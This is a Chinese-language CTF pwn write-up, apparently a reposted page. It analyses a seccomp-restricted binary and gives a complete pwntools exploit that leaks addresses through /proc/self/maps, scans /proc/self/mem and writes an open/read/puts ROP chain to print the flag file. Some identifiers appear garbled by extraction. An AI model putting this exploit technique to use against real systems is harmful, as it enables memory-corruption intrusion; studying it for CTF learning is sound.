[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: amd--little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
查看程序保护后发现保护全开
supergate@ubuntu:~/Desktop/Pwn$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000208 if (A != 0x208) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x40000208 if (A != 0x40000208) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
发现程序禁了execve,因此无法getshell,只能考虑将flag读出来。
在对程序主要逻辑进行分析后发现,程序使用mmap开辟一块空间,并且在这块空间内随机选取一个地方作为栈,如下面伪代码所示
void __fastcall __noreturn main(__int a1, char **a2, char **a3)
{
char buf; // [rsp+1Bh] [rbp-25h]
int stat_loc; // [rsp+1Ch] [rbp-24h]
int fd; // [rsp+20h] [rbp-20h]
__pid_t pid; // [rsp+24h] [rbp-1Ch]
__int v7; // [rsp+28h] [rbp-18h]
char *cp_stack; // [rsp+30h] [rbp-10h]
unsigned __int v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
sub_555555554F35();
puts("Welcome to my house! Enjoy yourself!\n");
puts("Do you want to help me build my room? Y/n?");
read(0, &buf, 4uLL);
if ( buf == 'y' || buf == 'Y' )
{
fd = open("/dev/urandom", 0, a2);
if ( fd < 0 )
{
perror("open");
exit(1);
}
read(fd, &v7, 8uLL);
close(fd);
v7 &= 0xFFFFF0u; //随机选取一块当作栈空间
cp_stack = (char *)mmap(0LL, 0x10000000uLL, 3, 0x20022, -1, 0LL);//开辟内存空间
if ( cp_stack == (char *)-1LL )
{
perror("mmap");
exit(1);
}
pid = clone((int (*)(void *))fn, &cp_stack[v7], 256, 0LL);//使用clone函数开启新的进程
if ( pid == -1 )
{
perror("clone");
exit(1);
}
waitpid(pid, &stat_loc, 0x80000000);
if ( stat_loc & 0x7F )
puts("\nMaybe something wrong? Build failed!");
else
puts("\nBuild finished! Thanks a lot!");
exit(0);
}
puts("You don't help me? OK, just get out of my hosue!");
exit(0);
}
新的进程调用了fn函数,根据逻辑和内容可以判断,该函数的主要功能是:
0x200长度的内容但是所有操作总共只能执行30次
伪代码如下
void __fastcall fn(void *arg)
{
unsigned __int offset; // ST28_8
int fd; // [rsp+10h] [rbp-70h]
signed int i; // [rsp+14h] [rbp-6Ch]
int v4; // [rsp+1Ch] [rbp-h]
int v5; // [rsp+1Ch] [rbp-h]
void *v6; // [rsp+20h] [rbp-60h]
char buf[24]; // [rsp+30h] [rbp-50h]
void *v8; // [rsp+48h] [rbp-38h]
char nptr; // [rsp+50h] [rbp-30h]
unsigned __int v10; // [rsp+78h] [rbp-8h]
__int savedregs; // [rsp+80h] [rbp+0h]
v10 = __readfsqword(0x28u);
puts("You get into my room. Just find something!\n");
v6 = malloc(0x186A0uLL);
if ( !v6 )
{
perror("malloc");
exit(1);
}
if ( (unsigned int)sub_5555555554D2() )
exit(1);
v8 = v6;
for ( i = 0; i <= 29; ++i )
{
Menu();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("So man, what are you finding?");
buf[(signed int)((unsigned __int)read(0, buf, 0x28uLL) - 1)] = 0;
if ( (unsigned int)check1(buf) )
{
puts("Man, don't do it! See you^.");
exit(1);
}
fd = open(buf, 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
return;
case 2u:
puts("So, Where are you?");
read(0, &nptr, 0x20uLL);
offset = strtoull(&nptr, 0LL, 10);
lseek(fd, offset, 0);
break;
case 3u:
puts("How many things do you want to get?");
read(0, &nptr, 8uLL);
v4 = atoi(&nptr);
if ( v4 <= 100000 )
{
v5 = read(fd, v8, v4);
if ( v5 < 0 )
{
puts("error read");
perror("read");
exit(1);
}
puts("You get something:");
write(1, v8, v5);
}
else
{
puts("You greedy man!");
}
break;
case 4u:
puts("What do you want to give me?");
puts("content: ");
read(0, v8, 0x200uLL);
break;
case 5u:
exit(0);
return;
default:
continue;
}
}
puts("\nI guess you don't want to say Goodbye!");
puts("But sadly, bye! Hope you come again!\n");
exit(0);
}
'555555554000-555555556000 r-xp 00000000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555756000-555555757000 r--p 00002000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555757000-555555758000 rw-p 00003000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555758000-555555791000 rw-p 00000000 00:00 0 [heap]\n'
'7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0 \n'
'7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1706314 /lib/x86_-linux-gnu/libc-2.23.so\n'
'7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1706314 /lib/x86_-linux-gnu/libc-2.23.so\n'
'7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1706314 /lib/x86_-linux-gnu/libc-2.23.so\n'
'7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1706314 /lib/x86_-linux-gnu/libc-2.23.so\n'
'7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 \n'
'7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1706286 /lib/x86_-linux-gnu/ld-2.23.so\n'
'7ffff7fdb000-7ffff7fde000 rw-p 00000000 00:00 0 \n'
'7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]\n'
'7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]\n'
'7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1706286 /lib/x86_-linux-gnu/ld-2.23.so\n'
'7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1706286 /lib/x86_-linux-gnu/ld-2.23.so\n'
'7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 \n'
'7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]\n'
'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'
但是mmap分配的数量比较大,所以成功打印出来的概率只有百分之十左右,但是在可接受范围内
最后通过open,read,puts将flag输出即可
from pwn import *
context.log_level='debug'
p=remote('111.198.29.45',32188)
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def openfile(filepath):
p.recvuntil("Exit\n")
p.sendline("1")
p.sendlineafter("finding?\n",filepath)
def inputoffset(offset):
p.recvuntil("Exit\n")
p.sendline("2")
p.sendlineafter("you?\n",str(offset))
def getcontent():
p.recvuntil("Exit\n")
p.sendline("3")
p.sendlineafter("get?\n","100000")
def inputcontent(content):
p.recvuntil("Exit\n")
p.sendline("4")
p.sendlineafter("content: \n",content)
p.recvuntil('Y/n?\n')
p.sendline('y')
openfile("/proc/self/maps")
getcontent()
p.recvuntil("You get something:\n")
elf.base=int(p.recvuntil("-")[:-1],16)
log.info("elf.base =========> %x"%elf.base)
while True:
temp=p.recvline()
if "heap" in temp:
mmap_addr=int(p.recvuntil("-")[:-1],16)
p.recvline()
libc.base=int(p.recvuntil("-")[:-1],16)
break
log.info("mmap address =====> %x"%mmap_addr)
log.info("libc base ========> %x"%libc.base)
openfile("/proc/self/mem")
inputoffset(mmap_addr)
for i in range(24):
getcontent()
p.recvuntil("You get something:\n")
memcontent=p.recvuntil("1.Find").split("1.Find")[0]
if "/proc/self/mem" in memcontent:
befcontent=memcontent.split("/proc/self/mem")[0]
buf_addr=mmap_addr+i*100000+len(befcontent)
ret_addr=buf_addr-0x38
log.info("ret_addr ========> %x"%ret_addr)
break
if i==23:
log.info("Not found")
exit(0)
open_addr=elf.base+elf.plt['open']
read_addr=elf.base+elf.plt['read']
puts_addr=elf.base+elf.plt['puts']
log.info("open address ======> %x"%open_addr)
pop_rdi=elf.base+0x1823
pop_rsi_r15=elf.base+0x1821
payload="/proc/self/mem".ljust(0x18,'\x00')+p(ret_addr)
openfile(payload)
stroffset=15*8
payload=p(pop_rdi)+p(ret_addr+stroffset)+p(pop_rsi_r15)+p(0)+p(0)+p(open_addr)
payload+=p(pop_rdi)+p(6)+p(pop_rsi_r15)+p(ret_addr+stroffset)+p(0)+p(read_addr)
payload+=p(pop_rdi)+p(ret_addr+stroffset)+p(puts_addr)
payload+='/home/ctf/flag\x00'
inputcontent(payload)
p.interactive()
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- vipyiyao.com 版权所有 湘ICP备2023022495号-8
违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务